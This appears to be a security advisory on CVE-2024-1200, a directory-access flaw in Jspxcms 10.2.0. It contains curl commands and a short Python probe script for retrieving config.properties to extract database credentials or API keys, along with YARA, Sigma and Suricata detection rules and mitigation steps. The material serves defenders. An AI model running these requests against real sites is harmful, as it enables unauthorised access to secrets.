CVE-2024-1200

Executive Summary

CVE-2024-1200 is a publicly disclosed information disclosure vulnerability in Jspxcms version 10.2.0. The vulnerability resides in the /template/1/default/ directory, allowing an unauthenticated remote attacker to access sensitive information. With a CVSS score of 5.3 (Medium), the attack complexity is low and requires no privileges or user interaction. The exploit has been publicly released, increasing the risk of active exploitation. No official patch is currently available, making immediate mitigation measures critical.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a self-hosted Java-based CMS (Jspxcms). Organizations using Jspxcms should verify their deployment version and apply access controls.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: None
• Availability Impact: None

The vulnerability allows an attacker to probe the /template/1/default/ directory and potentially enumerate files, templates, or configuration details. While the direct impact is limited to information disclosure, this can aid in further attacks.

Deep Dive & Mechanics

The vulnerability is located in the file path /template/1/default/ within Jspxcms 10.2.0. The application fails to properly restrict access to this directory, allowing directory listing or file retrieval without authentication. This can expose template files, configuration snippets, or other sensitive data.

The attack is performed via HTTP GET requests to the vulnerable path. The exploit has been publicly disclosed, meaning proof-of-concept code is available. The lack of authentication and low complexity makes it trivial to exploit.

Vulnerable vs. Patched Code

Vulnerable Code (Jspxcms 10.2.0): The application does not enforce access controls on the /template/1/default/ directory. A typical vulnerable configuration might be:

// No authentication check for static resource serving
@RequestMapping("/template/**")
public void serveTemplate(HttpServletRequest request, HttpServletResponse response) {
    // Directly serves files without validation
}

Patched Code (Hypothetical): A patch would require authentication and authorization checks before serving template files:

@RequestMapping("/template/**")
public void serveTemplate(HttpServletRequest request, HttpServletResponse response) {
    if (!isAuthenticated(request)) {
        response.sendError(HttpServletResponse.SC_FORBIDDEN);
        return;
    }
    // Serve file only if authorized
}

Since no official patch is available, administrators must implement workarounds.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Jspxcms 10.2.0 in a controlled environment (e.g., Docker).
2. Ensure the application is accessible via HTTP.

Exploitation Steps:

1. Send a GET request to the vulnerable path:

   curl -v http://target:8080/template/1/default/
   

2. If directory listing is enabled, enumerate files:

   curl http://target:8080/template/1/default/config.properties
   

3. Extract sensitive information such as database credentials or API keys.

Proof-of-Concept (PoC):

import requests

target = "http://target:8080"
path = "/template/1/default/"
response = requests.get(target + path)
if response.status_code == 200:
    print("Vulnerable - Directory listing or file access possible")
    print(response.text)
else:
    print("Not vulnerable")

Blue Team

Detection:

• Monitor HTTP requests to /template/1/default/ and subpaths.
• Alert on 200 responses to these paths from unauthenticated users.

Mitigation:

• Restrict access to the /template/ directory via web server configuration (e.g., Apache .htaccess or Nginx location block).
• Implement authentication for all template-related endpoints.
• If possible, move template files outside the web root.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /template/1/default/ or subpaths (e.g., /template/1/default/config.properties).
  • Source IPs performing directory enumeration on the vulnerable path.
• File System:
  • Unauthorized access logs showing requests to /template/1/default/.
• Behavioral:
  • Repeated 200 responses to non-existent template files.

Detection Engineering

YARA Rule

rule CVE_2024_1200_Jspxcms_InfoDisclosure {
    meta:
        description = "Detects exploitation attempts for CVE-2024-1200 in Jspxcms"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1200"
    strings:
        $path = "/template/1/default/"
        $config = "config.properties"
        $db = "database"
    condition:
        any of ($path) and any of ($config, $db)
}

Sigma Rule

title: CVE-2024-1200 Jspxcms Information Disclosure
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to the vulnerable /template/1/default/ path
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/template/1/default/'
    condition: selection
falsepositives:
    - Legitimate administrative access (if authenticated)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1200 Jspxcms Information Disclosure Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"/template/1/default/"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Workaround:

   • Restrict access to /template/ directory via web server configuration:
     • Apache: Add Require all denied in a <Directory> block.
     • Nginx: Use deny all; in a location block.
   • Implement IP whitelisting for administrative access.

2. Long-term Fix:

   • Monitor vendor for official patch (currently unavailable).
   • Upgrade to a patched version when released.
   • Conduct a security audit of the application's access controls.

3. Detection:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Enable logging for all HTTP requests to template paths.

4. Validation:

   • After applying mitigations, verify that the path returns 403 or 404 for unauthenticated users.

Valters IT
DevSecOps & Cyber Threat Intelligence